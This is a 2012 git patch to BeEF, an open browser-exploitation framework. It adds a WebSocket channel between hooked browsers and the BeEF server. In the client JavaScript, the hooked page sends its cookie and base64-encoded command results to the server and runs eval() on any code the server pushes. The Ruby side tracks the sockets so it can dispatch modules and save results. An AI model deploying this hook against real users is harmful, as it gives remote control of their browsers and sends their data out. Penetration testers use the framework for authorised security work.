From 656262c0f498f0fb126b8f375cef1cdebaa10257 Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Wed, 18 Apr 2012 12:00:17 +0200 Subject: [PATCH] Basic response recv system implemented todo ping-pong for alive host. thread's content is in websocket.rb todo setting up a separate handler for via ws answer's --- core/main/client/net.js | 160 ++++++++-------- core/main/client/websocket.js | 11 +- core/main/handlers/commands.rb | 127 ++++++------- core/main/handlers/modules/command.rb | 3 +- .../handlers/dynamicreconstruction.rb | 179 +++++++++--------- .../main/network_stack/websocket/websocket.rb | 65 +++++-- 6 files changed, 298 insertions(+), 247 deletions(-) diff --git a/core/main/client/net.js b/core/main/client/net.js index 03d2bace3..40490c50f 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -20,17 +20,17 @@ */ beef.net = { - host: "<%= @beef_host %>", - port: "<%= @beef_port %>", - hook: "<%= @beef_hook %>", - handler: '/dh', - chop: 500, - pad: 30, //this is the amount of padding for extra params such as pc, pid and sid - sid_count: 0, - cmd_queue: [], + host:"<%= @beef_host %>", + port:"<%= @beef_port %>", + hook:"<%= @beef_hook %>", + handler:'/dh', + chop:500, + pad:30, //this is the amount of padding for extra params such as pc, pid and sid + sid_count:0, + cmd_queue:[], //Command object - command: function() { + command:function () { this.cid = null; this.results = null; this.handler = null; @@ -38,20 +38,20 @@ beef.net = { }, //Packet object - packet: function() { + packet:function () { this.id = null; this.data = null; }, //Stream object - stream: function() { + stream:function () { this.id = null; this.packets = []; this.pc = 0; - this.get_base_url_length = function() { + this.get_base_url_length = function () { return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length; }, - this.get_packet_data = function() { + this.get_packet_data = function () { var p = this.packets.shift(); return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data } }; @@ -61,7 +61,7 @@ beef.net = { * Response Object - used in the beef.net.request callback * Note: as we are using async mode, the response object will be empty if returned.Using sync mode, request obj fields will be populated. */ - response: function() { + response:function () { this.status_code = null; // 500, 404, 200, 302 this.status_text = null; // success, timeout, error, ... this.response_body = null; // "…." if not a cross domain request @@ -73,7 +73,7 @@ beef.net = { }, //Queues the command, to be sent back to the framework on the next refresh - queue: function(handler, cid, results, callback) { + queue:function (handler, cid, results, callback) { if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) { var s = new beef.net.command(); s.cid = cid; @@ -85,14 +85,26 @@ beef.net = { }, //Queues the current command and flushes the queue straight away - send: function(handler, cid, results, callback) { - - this.queue(handler, cid, results, callback); - this.flush(); - }, + send:function (handler, cid, results, callback) { + if (typeof beef.websocket === "undefined") { + this.queue(handler, cid, results, callback); + this.flush(); + } + else { + try { + beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + '", "result":"' + beef.encode.base64.encode(results) + '","callback": "' + callback + '","bh":"' + document.cookie.split("BEEFHOOK=")[1] + '" }'); + } + catch (e) { + //todo this is necessary because at start could happened that ws in not still up and the browser try to send back browser info via websocket and failed + this.queue(handler, cid, results, callback); + this.flush(); + console.log("error in send " + e); + } + } + }, //Flush all currently queued commands to the framework - flush: function() { + flush:function () { if (this.cmd_queue.length > 0) { var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue)); this.cmd_queue.length = 0; @@ -116,13 +128,13 @@ beef.net = { }, //Split string into chunk lengths determined by amount - chunk: function(str, amount) { + chunk:function (str, amount) { if (typeof amount == 'undefined') n = 2; return str.match(RegExp('.{1,' + amount + '}', 'g')); }, //Push packets to framework - push: function(stream) { + push:function (stream) { //need to implement wait feature here eventually for (var i = 0; i < stream.pc; i++) { this.request('http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null); @@ -144,20 +156,20 @@ beef.net = { * * @return: {Object} response: this object contains the response details */ - request: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) { + request:function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) { //check if same domain or cross domain var cross_domain = true; - if (document.domain == domain){ - if(document.location.port == "" || document.location.port == null){ + if (document.domain == domain) { + if (document.location.port == "" || document.location.port == null) { cross_domain = !(port == "80" || port == "443"); } } //build the url var url = ""; - if(path.indexOf("http://") != -1 || path.indexOf("https://") != -1){ + if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) { url = path; - }else{ + } else { url = scheme + "://" + domain; url = (port != null) ? url + ":" + port : url; url = (path != null) ? url + path : url; @@ -173,30 +185,30 @@ beef.net = { * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script': * This will turn POSTs into GETs for remote-domain requests. */ - if (method == "POST"){ - $j.ajaxSetup({ - dataType: dataType - }); - }else{ //GET, HEAD, ... - $j.ajaxSetup({ - dataType: 'script' - }); + if (method == "POST") { + $j.ajaxSetup({ + dataType:dataType + }); + } else { //GET, HEAD, ... + $j.ajaxSetup({ + dataType:'script' + }); } //build and execute the request - $j.ajax({type: method, - url: url, - data: data, - timeout: (timeout * 1000), + $j.ajax({type:method, + url:url, + data:data, + timeout:(timeout * 1000), //needed otherwise jQuery always add Content-type: application/xml, even if data is populated - beforeSend: function(xhr) { - if(method == "POST"){ + beforeSend:function (xhr) { + if (method == "POST") { xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8"); } }, - success: function(data, textStatus, xhr) { + success:function (data, textStatus, xhr) { var end_time = new Date().getTime(); response.status_code = xhr.status; response.status_text = textStatus; @@ -205,14 +217,14 @@ beef.net = { response.was_timedout = false; response.duration = (end_time - start_time); }, - error: function(jqXHR, textStatus, errorThrown) { + error:function (jqXHR, textStatus, errorThrown) { var end_time = new Date().getTime(); response.response_body = jqXHR.responseText; response.status_code = jqXHR.status; response.status_text = textStatus; response.duration = (end_time - start_time); }, - complete: function(jqXHR, textStatus) { + complete:function (jqXHR, textStatus) { response.status_code = jqXHR.status; response.status_text = textStatus; response.headers = jqXHR.getAllResponseHeaders(); @@ -227,11 +239,11 @@ beef.net = { response.port_status = "open"; } } - }).done(function() { - if (callback != null) { - callback(response); - } - }); + }).done(function () { + if (callback != null) { + callback(response); + } + }); return response; }, @@ -240,16 +252,16 @@ beef.net = { * - requestid: needed on the callback * - allowCrossDomain: set cross-domain requests as allowed or blocked */ - forge_request: function(scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) { + forge_request:function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) { // check if same domain or cross domain var cross_domain = true; if (document.domain == domain) { - if(document.location.port == "" || document.location.port == null){ - cross_domain = !(port == "80" || port == "443"); - } else { - if (document.location.port == port) cross_domain = false; - } + if (document.location.port == "" || document.location.port == null) { + cross_domain = !(port == "80" || port == "443"); + } else { + if (document.location.port == port) cross_domain = false; + } } // build the url @@ -275,35 +287,35 @@ beef.net = { response.status_text = "crossdomain"; response.port_status = "crossdomain"; response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n"; - response.headers = "ERROR: Cross Domain Request. The request was not sent.\n"; + response.headers = "ERROR: Cross Domain Request. The request was not sent.\n"; callback(response, requestid); return response; } // build and execute the request - if (method == "POST"){ - $j.ajaxSetup({ - data: data - }); + if (method == "POST") { + $j.ajaxSetup({ + data:data + }); } - $j.ajax({type: method, - dataType: 'script', // this is required for bugs in IE so data can be transfered back to the server - url: url, - headers: headers, - timeout: (timeout * 1000), + $j.ajax({type:method, + dataType:'script', // this is required for bugs in IE so data can be transfered back to the server + url:url, + headers:headers, + timeout:(timeout * 1000), // needed otherwise jQuery always adds: // Content-type: application/xml // even if data is populated - beforeSend: function(xhr) { + beforeSend:function (xhr) { if (method == "POST") { - xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8"); + xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8"); } }, // http server responded successfully - success: function(data, textStatus, xhr) { + success:function (data, textStatus, xhr) { var end_time = new Date().getTime(); response.status_code = xhr.status; response.status_text = textStatus; @@ -314,7 +326,7 @@ beef.net = { // server responded with a http error (403, 404, 500, etc) // or server is not a http server - error: function(xhr, textStatus, errorThrown) { + error:function (xhr, textStatus, errorThrown) { var end_time = new Date().getTime(); response.response_body = xhr.responseText; response.status_code = xhr.status; @@ -322,7 +334,7 @@ beef.net = { response.duration = (end_time - start_time); }, - complete: function(xhr, textStatus) { + complete:function (xhr, textStatus) { // cross-domain request if (cross_domain) { response.status_code = -1; @@ -355,7 +367,7 @@ beef.net = { //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {} //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/ - clean: function(r) { + clean:function (r) { if (this.array_has_string_key(r)) { var obj = {}; for (var key in r) @@ -366,7 +378,7 @@ beef.net = { }, //Detects if an array has a string key - array_has_string_key: function(arr) { + array_has_string_key:function (arr) { if ($j.isArray(arr)) { try { for (var key in arr) @@ -378,7 +390,7 @@ beef.net = { }, //Sends back browser details to framework - browser_details: function() { + browser_details:function () { var details = beef.browser.getDetails(); details['HookSessionID'] = beef.session.get_hook_session_id(); this.send('/init', 0, details); diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 7c8039d70..66f26ab7b 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -28,7 +28,7 @@ beef.websocket = { if (beef.browser.isFF() && !!window.MozWebSocket) { beef.websocket.socket = new MozWebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/"); - } else{ + } else { beef.websocket.socket = new WebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/"); } @@ -42,18 +42,19 @@ beef.websocket = { console.log("Socket has been opened!"); /*send browser id*/ - beef.websocket.send(document.cookie); + beef.websocket.send('{"cookie":"' + document.cookie + '"}'); console.log("Connected and Helo"); } - this.socket.onmessage = function (message){ + this.socket.onmessage = function (message) { console.log("Received message via WS."); + //todo check message and send pong if ping req eval(message.data); - } + } }, send:function (data) { - this.socket.send(data); + this.socket.send(data); console.log("Sent [" + data + "]"); } diff --git a/core/main/handlers/commands.rb b/core/main/handlers/commands.rb index 4aa8de08a..b96f45c6f 100644 --- a/core/main/handlers/commands.rb +++ b/core/main/handlers/commands.rb @@ -14,79 +14,78 @@ # limitations under the License. # module BeEF -module Core -module Handlers - - class Commands - - include BeEF::Core::Handlers::Modules::BeEFJS - include BeEF::Core::Handlers::Modules::Command - - @data = {} - - # Handles command data - # @param [Hash] data Data from command execution - # @param [Class] kclass Class of command - # @todo Confirm argument data variable type. - def initialize(data, kclass) - @kclass = BeEF::Core::Command.const_get(kclass.capitalize) - @data = data - setup() - end - - # Initial setup function, creates the command module and saves details to datastore - def setup() + module Core + module Handlers + + class Commands + + include BeEF::Core::Handlers::Modules::BeEFJS + include BeEF::Core::Handlers::Modules::Command + + @data = {} + + # Handles command data + # @param [Hash] data Data from command execution + # @param [Class] kclass Class of command + # @todo Confirm argument data variable type [radoen]: type is Hash confirmed. + def initialize(data, kclass) + @kclass = BeEF::Core::Command.const_get(kclass.capitalize) + @data = data + setup() + end + + # Initial setup function, creates the command module and saves details to datastore + def setup() - @http_params = @data['request'].params - @http_header = Hash.new - http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'} - .each {|key,value| - @http_header[key.sub(/^HTTP_/, '')] = value - } + @http_params = @data['request'].params + @http_header = Hash.new + http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }.each { |key, value| + @http_header[key.sub(/^HTTP_/, '')] = value + } - # @note get and check command id from the request - command_id = get_param(@data, 'cid') - # @todo ruby filter needs to be updated to detect fixnums not strings - command_id = command_id.to_s() - (print_error "command_id is invalid";return) if not BeEF::Filters.is_valid_command_id?(command_id.to_s()) + # @note get and check command id from the request + command_id = get_param(@data, 'cid') + # @todo ruby filter needs to be updated to detect fixnums not strings + command_id = command_id.to_s() + (print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(command_id.to_s()) - # @note get and check session id from the request - beefhook = get_param(@data, 'beefhook') - (print_error "BeEFhook is invalid";return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook) + # @note get and check session id from the request + beefhook = get_param(@data, 'beefhook') + (print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook) - result = get_param(@data, 'results') + result = get_param(@data, 'results') + + # @note create the command module to handle the response + command = @kclass.new(BeEF::Module.get_key_by_class(@kclass)) + command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook) + command.session_id = beefhook + if command.respond_to?(:post_execute) + command.post_execute + end + #@todo this is the part that store result on db and the modify will be accessible from all the framework and so UI too + # @note get/set details for datastore and log entry + command_friendly_name = command.friendlyname + (print_error "command friendly name is empty"; return) if command_friendly_name.empty? + command_results = get_param(@data, 'results') + (print_error "command results are empty"; return) if command_results.empty? + # @note save the command module results to the datastore and create a log entry + command_results = {'data' => command_results} + BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results) + + end + + # Returns parameter from hash + # @param [Hash] query Hash of data to return data from + # @param [String] key Key to search for and return inside `query` + # @return Value referenced in hash at the supplied key + def get_param(query, key) + return (query.class == Hash and query.has_key?(key)) ? query[key] : nil + end - # @note create the command module to handle the response - command = @kclass.new(BeEF::Module.get_key_by_class(@kclass)) - command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook) - command.session_id = beefhook - if command.respond_to?(:post_execute) - command.post_execute end - # @note get/set details for datastore and log entry - command_friendly_name = command.friendlyname - (print_error "command friendly name is empty";return) if command_friendly_name.empty? - command_results = get_param(@data, 'results') - (print_error "command results are empty";return) if command_results.empty? - # @note save the command module results to the datastore and create a log entry - command_results = {'data' => command_results} - BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results) end - - # Returns parameter from hash - # @param [Hash] query Hash of data to return data from - # @param [String] key Key to search for and return inside `query` - # @return Value referenced in hash at the supplied key - def get_param(query, key) - return (query.class == Hash and query.has_key?(key)) ? query[key] : nil - end - end - - -end -end end diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index 429a3d3ef..62d881378 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -66,11 +66,10 @@ module BeEF // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. - //',"") + //', "") let.sent(funtosend, hooked_browser.session) #print_info("We are sending #{funtosend}") else - print_info("not in else") @body << command_module.output + "\n\n" end diff --git a/core/main/network_stack/handlers/dynamicreconstruction.rb b/core/main/network_stack/handlers/dynamicreconstruction.rb index 1813212ef..bcb25270c 100644 --- a/core/main/network_stack/handlers/dynamicreconstruction.rb +++ b/core/main/network_stack/handlers/dynamicreconstruction.rb @@ -14,118 +14,119 @@ # limitations under the License. # module BeEF -module Core -module NetworkStack -module Handlers - - # @note DynamicHandler is used reconstruct segmented traffic from the hooked browser - class DynamicReconstruction < BeEF::Core::Router::Router + module Core + module NetworkStack + module Handlers - # @note holds packet queue - PQ = Array.new() + # @note DynamicHandler is used reconstruct segmented traffic from the hooked browser + class DynamicReconstruction < BeEF::Core::Router::Router - # @note obtain dynamic mount points from HttpHookServer - MOUNTS = BeEF::Core::Server.instance.mounts + # @note holds packet queue + PQ = Array.new() - before do - error 404 unless !params.empty? - headers 'Pragma' => 'no-cache', - 'Cache-Control' => 'no-cache', - 'Expires' => '0' - end + # @note obtain dynamic mount points from HttpHookServer + MOUNTS = BeEF::Core::Server.instance.mounts - # Combines packet information and pushes to PQ (packet queue), then checks packets - get '/' do - headers 'Pragma' => 'no-cache', - 'Cache-Control' => 'no-cache', - 'Expires' => '0', - 'Content-Type' => 'text/javascript', - 'Access-Control-Allow-Origin' => '*', - 'Access-Control-Allow-Methods' => 'POST, GET' + before do + error 404 unless !params.empty? + headers 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0' + end - PQ << { - :beefhook => params[:bh], - :stream_id => Integer(params[:sid]), - :packet_id => Integer(params[:pid]), - :packet_count => Integer(params[:pc]), - :data => params[:d] - } + # Combines packet information and pushes to PQ (packet queue), then checks packets + get '/' do + headers 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0', + 'Content-Type' => 'text/javascript', + 'Access-Control-Allow-Origin' => '*', + 'Access-Control-Allow-Methods' => 'POST, GET' - Thread.new { - check_packets() - } - end + PQ << { + :beefhook => params[:bh], + :stream_id => Integer(params[:sid]), + :packet_id => Integer(params[:pid]), + :packet_count => Integer(params[:pc]), + :data => params[:d] + } - # Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets - def check_packets() - checked = Array.new() - PQ.each do |packet| - if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id]))) + Thread.new { + check_packets() + } + end + + # Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets + def check_packets() + checked = Array.new() + PQ.each do |packet| + if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id]))) next - end - checked << packet[:beefhook]+':'+String(packet[:stream_id]) - pc = 0 - PQ.each do |p| + end + checked << packet[:beefhook]+':'+String(packet[:stream_id]) + pc = 0 + PQ.each do |p| if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id]) - pc += 1 + pc += 1 end - end - if (packet[:packet_count] == pc) + end + if (packet[:packet_count] == pc) packets = expunge(packet[:beefhook], packet[:stream_id]) data = '' - packets.each_with_index do |sp,i| - if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id]) - data += sp[:data] - end + packets.each_with_index do |sp, i| + if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id]) + data += sp[:data] + end end - b64 = Base64.decode64(data) + b64 = Base64.decode64(data) begin - res = JSON.parse(b64).first - res['beefhook'] = packet[:beefhook] - res['request'] = request - res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')] - execute(res) + res = JSON.parse(b64).first + res['beefhook'] = packet[:beefhook] + res['request'] = request + res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')] + execute(res) rescue JSON::ParserError => e - print_debug 'Network stack could not decode packet stream.' - print_debug 'Dumping Stream Data [base64]: '+data - print_debug 'Dumping Stream Data: '+b64 + print_debug 'Network stack could not decode packet stream.' + print_debug 'Dumping Stream Data [base64]: '+data + print_debug 'Dumping Stream Data: '+b64 end + end end - end - end + end - # Delete packets that have been reconstructed, return deleted packets - # @param [String] beefhook Beefhook of hooked browser - # @param [Integer] stream_id The stream ID - def expunge(beefhook, stream_id) - packets = PQ.select{ |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id } - PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id } - packets.sort_by { |p| p[:packet_id] } - end + # Delete packets that have been reconstructed, return deleted packets + # @param [String] beefhook Beefhook of hooked browser + # @param [Integer] stream_id The stream ID + def expunge(beefhook, stream_id) + packets = PQ.select { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id } + PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id } + packets.sort_by { |p| p[:packet_id] } + end - # Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler - # @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction - def execute(data) - handler = get_param(data, 'handler') - if (MOUNTS.has_key?(handler)) - if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2) + # Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler + # @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction + def execute(data) + handler = get_param(data, 'handler') + if (MOUNTS.has_key?(handler)) + if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2) MOUNTS[handler][0].new(data, MOUNTS[handler][1]) - else + else MOUNTS[handler].new(data) + end end + end + + BeEF::Core::Handlers::Commands + # Assist function for getting parameter from hash + # @param [Hash] query Hash to pull key from + # @param [String] key The key association to return from `query` + # @return Value associated with `key` + def get_param(query, key) + return nil if query[key].nil? + query[key] + end end - end - - # Assist function for getting parameter from hash - # @param [Hash] query Hash to pull key from - # @param [String] key The key association to return from `query` - # @return Value associated with `key` - def get_param(query, key) - return nil if query[key].nil? - query[key] + end end end end -end -end -end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index 60eeb67f8..d8f018ec1 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -13,17 +13,19 @@ # See the License for the specific language governing permissions and # limitations under the License. # +#@todo STOP POLLING module BeEF module Core module Websocket require 'singleton' - + require 'json' + require 'base64' class Websocket - # require 'singleton' - #include Singleton - #all hooked browser include Singleton - @@activeSocket= Hash.new #empty at begin + + # @note obtain dynamic mount points from HttpHookServer + MOUNTS = BeEF::Core::Server.instance.mounts + @@activeSocket= Hash.new #empty at begin def initialize config = BeEF::Core::Configuration.instance @@ -43,31 +45,68 @@ module BeEF while true #command interpretation message=ws.receive() - - if(/BEEFHOOK=/.match(message)) + messageHash= JSON.parse("#{message}") + #@note messageHash[result] is Base64 encoded + if (messageHash["cookie"]!= nil) print_info("Browser #{ws.origin} says helo! ws is running") #insert new connection in activesocket - @@activeSocket["#{message.split(/BEEFHOOK=/)[1]}"] = ws + @@activeSocket["#{messageHash["cookie"]}"] = ws print_debug("In activesocket we have #{@@activeSocket}") + else + #json recv is a cmd response decode and send all to + #we have to call dynamicreconstructor handler camp must be websocket + print_info("We recived that #{messageHash}") + execute(messageHash) end end end end } + ##Alive check + # Thread.new{ + # + # @@activeSocket.each_key{|key , value| + # ping send token and update beefdb whit new timestamp insert a timer + # + # } + # + # + # } end + #@note used in command.rd return nill if browser is not in list else giveback websocket + #@param [String] browser_id the cookie value def getsocket (browser_id) - if ( @@activeSocket[browser_id] != nil) - true + if (@@activeSocket[browser_id] != nil) + true else - false + false end end + #@note send a function to hooked and ws browser - def sent (fn ,browser_id ) - @@activeSocket[browser_id].send(fn) + #@param [String] fn the module to execute + #@param [String] browser_id the cookie value + def sent (fn, browser_id) + @@activeSocket[browser_id].send(fn) end + BeEF::Core::Handlers::Commands + #call the handler for websocket cmd response + #@param [Hash] data contains the answer of a command + #@todo ve this stuff in an Handler and resolve the Module friendly name + def execute (data) + command_results=Hash.new + command_results["data"]=Base64.decode64(data["result"]) + (print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(data["bh"]) + (print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"]) + (print_error "command name is empty"; return) if data["handler"].empty? + (print_error "command results are empty"; return) if command_results.empty? + BeEF::Core::Models::Command.save_result(data["bh"], data["cid"], data["handler"], command_results) + + end + + end end end